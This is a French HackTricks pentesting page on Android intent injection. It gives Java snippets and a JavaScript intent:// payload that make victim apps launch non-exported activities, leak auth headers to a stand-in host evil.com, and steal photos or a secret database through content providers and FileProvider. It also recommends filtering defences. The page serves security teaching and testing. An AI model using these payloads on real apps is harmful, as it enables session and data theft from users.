hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md

17 KiB
Raw Blame History

<details>

<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Autres moyens de soutenir HackTricks :

* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>


**Recherche tirée de** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)

# Introduction

Cette vulnérabilité ressemble à **Open Redirect dans la sécurité web**. Puisque la classe `Intent` est `Parcelable`, **les objets appartenant à cette classe** peuvent être **transmis** comme **données supplémentaires** dans un autre objet `Intent`. \
De nombreux développeurs utilisent cette **fonctionnalité** et créent des **composants proxy** (activités, récepteurs de diffusion et services) qui **prennent un Intent intégré et le transmettent à des méthodes dangereuses** comme `startActivity(...)`, `sendBroadcast(...)`, etc. \
C'est dangereux car **un attaquant peut forcer l'application à lancer un composant non exporté qui ne peut pas être lancé directement depuis une autre application**, ou pour accorder à l'attaquant l'accès à ses fournisseurs de contenu. **`WebView`** change parfois aussi une **URL d'une chaîne en un objet `Intent`**, en utilisant la méthode `Intent.parseUri(...)`, et le transmet à `startActivity(...)`.

{% hint style="info" %}
En résumé : Si un attaquant peut envoyer un Intent qui est exécuté de manière non sécurisée, il peut potentiellement accéder à des composants non exportés et en abuser.
{% endhint %}

# Un cas typique

Examinons un exemple. Fragment du fichier `AndroidManifest.xml`
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />

Activité ProxyActivity

startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));

Activité AuthWebViewActivity

webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

AuthWebViewActivity est un exemple de fonctionnalité d'application cachée qui effectue certaines actions non sécurisées, dans ce cas, transmettant la session d'authentification de l'utilisateur à une URL obtenue à partir du paramètre url.

Les restrictions à l'exportation signifient que l'attaquant ne peut pas accéder directement à AuthWebViewActivity. Un appel direct

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
lance une `java.lang.SecurityException`, en raison d'un `Permission Denial` : `AuthWebViewActivity non exporté depuis l'uid 1337`.

Mais l'attaquant peut **forcer la victime à lancer `AuthWebViewActivity` elle-même** :
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

Escalation de l'impact

Pour augmenter l'impact de cette vulnérabilité, vous devez trouver d'autres vulnérabilités/configurations incorrectes qui pourraient permettre d'augmenter l'impact de la vulnérabilité (car la vulnérabilité en elle-même ne crée pas de risques).

Escalation des attaques via les Content Providers

En plus de l'accès aux composants arbitraires de l'application originale, l'attaquant peut tenter d'accéder à ceux des Content Providers de l'application vulnérable qui satisfont aux conditions suivantes :

  • il doit être non-exporté (sinon il pourrait être attaqué directement, sans utiliser la vulnérabilité dont nous discutons dans cet article)
  • il doit avoir le flag android:grantUriPermissions défini sur true.
  • android:grantUriPermissions="true" indique que votre code Java peut utiliser FLAG_GRANT_READ_URI_PERMISSION et FLAG_GRANT_WRITE_URI_PERMISSION pour n'importe quel Uri servi par ce ContentProvider.
  • android:grantUriPermissions="false" indique que seules les valeurs Uri spécifiées par les éléments enfants <grant-uri-permission> peuvent être utilisées avec FLAG_GRANT_READ_URI_PERMISSION et FLAG_GRANT_WRITE_URI_PERMISSION.

L'attaquant doit se définir comme le destinataire d'une intention intégrée et définir les flags suivants

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION permet un accès persistant au fournisseur (sans ce flag, l'accès est unique)
  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION permet l'accès à l'URI par préfixe par exemple, au lieu d'obtenir séparément un accès répété en utilisant un chemin complet tel que content://com.victim.provider/image/1, l'attaquant peut accorder l'accès à tout le contenu du fournisseur en utilisant l'URI content://com.victim.provider/ et ensuite utiliser ContentResolver pour adresser content://com.victim.provider/image/1, content://com.victim.provider/image/2, etc.
  • Intent.FLAG_GRANT_READ_URI_PERMISSION permet les opérations de lecture sur le fournisseur (telles que query, openFile, openAssetFile)
  • Intent.FLAG_GRANT_WRITE_URI_PERMISSION permet les opérations d'écriture

Un exemple typique de fournisseur où un attaquant peut accéder et effectuer des opérations régulières comme query, update, insert, delete, openFile, openAssetFile

<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>

Exemple de vol de photos d'utilisateur dans le fichier AndroidManifest.xml

<activity android:name=".LeakActivity" android:exported="true" />

Fichier MainActivity.java

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image

Attaques sur le fournisseur de fichiers Android

Cette vulnérabilité permet également à l'attaquant de voler des fichiers d'application situés dans des répertoires que le développeur a prédéterminés. Pour une attaque réussie, l'application malveillante doit obtenir des droits d'accès au fournisseur de fichiers Android puis lire le contenu du fournisseur de fichiers à l'aide du ContentResolver Android.

Exemple de fournisseur de fichiers (pour plus de détails, voir https://developer.android.com/reference/android/support/v4/content/FileProvider)

<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>

Il fournit un accès en lecture/écriture aux fichiers sur une liste spéciale qui peut être trouvée dans les ressources de l'application, dans ce cas à res/xml/provider_paths.xml

Cela peut ressembler à quelque chose comme

<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>

Chaque balise spécifie un répertoire racine avec une valeur path relative à la racine. Par exemple, la valeur external_files correspondra à new File(Environment.getExternalStorageDirectory(), "images")

La valeur root-path correspond à /, c'est-à-dire qu'elle donne accès à des fichiers arbitraires.

Disons que nous avons des données secrètes stockées dans le fichier /data/data/com.victim/databases/secret.db : le vol de ce fichier peut ressembler à quelque chose comme ceci MainActivity.java

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server

Accès à des composants arbitraires via WebView

Un objet Intent peut être converti en chaîne de caractères avec un appel à Intent.toUri(flags) et inversement, d'une chaîne de caractères en Intent en utilisant Intent.parseUri(stringUri, flags). Cette fonctionnalité est souvent utilisée dans WebView (le navigateur intégré de l'application) : l'application peut vérifier un schéma intent://, analyser l'URL en un Intent et lancer l'activité.

Cette vulnérabilité peut être exploitée à la fois via d'autres vulnérabilités (par exemple, la capacité d'ouvrir des liens arbitraires dans l'application dans WebView directement via des activités exportées ou par le biais du mécanisme de deeplink) dans l'application cliente et également à distance, y compris le cross-site scripting côté serveur ou MitM côté client.

Exemple de code vulnérable

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
L'objectif ici est que la méthode `shouldOverrideUrlLoading(...)` de la classe `WebViewClient` est appelée à chaque fois que WebView tente de charger un nouveau lien, mais donne à l'application la possibilité d'ajouter un gestionnaire personnalisé.

Pour exploiter cette vulnérabilité, l'attaquant doit créer une redirection WebView vers une URL de schéma d'intent spécialement préparée. Exemple de création d'URL
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"

Exemple d'attaque

location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

Cette version contient plusieurs restrictions par rapport à la version classique de la vulnérabilité :

  • Les objets Parcelable et Serializable intégrés ne peuvent pas être convertis en chaîne de caractères (ils seront ignorés)
  • Les drapeaux non sécurisés Intent.FLAG_GRANT_READ_URI_PERMISSION et Intent.FLAG_GRANT_WRITE_URI_PERMISSION sont ignorés lorsque Intent.parseUri(...) est appelé. Le parseur les conservera uniquement si le drapeau Intent.URI_ALLOW_UNSAFE (startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))) est défini, ce qui est très rare

De nombreux développeurs oublient encore d'effectuer un filtrage complet des intents reçus via WebView

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}

L'attaquant peut spécifier un composant non exporté via un sélecteur

Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"

Et contourner la protection de l'application contre les intents explicites. Nous recommandons donc également de filtrer le sélecteur.

intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);

Mais même un filtrage complet ne garantit pas une protection totale, car un attaquant peut créer une intention implicite correspondant au intent-filter d'une activité non exportée. Exemple de déclaration d'activité :

<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());

Nous recommandons donc de vérifier qu'une activité est exportée avant de la lancer.

Autres méthodes de création d'intents non sécurisés

Certains développeurs d'applications mettent en œuvre leurs propres analyseurs d'intents (souvent pour gérer des deeplinks ou des messages push), en utilisant par exemple des objets JSON, des chaînes de caractères ou des tableaux d'octets, qui ne diffèrent pas du comportement par défaut ou présentent un grand danger, car ils peuvent étendre les objets Serializable et Parcelable et ils permettent également de définir des drapeaux non sécurisés. Le chercheur en sécurité peut également rencontrer des versions plus exotiques de création d'intent, telles que la conversion d'un tableau d'octets en Parcel puis la lecture d'un intent à partir de celui-ci.

Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}

Application vulnérable

{% embed url="https://github.com/oversecured/ovaa" %}

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :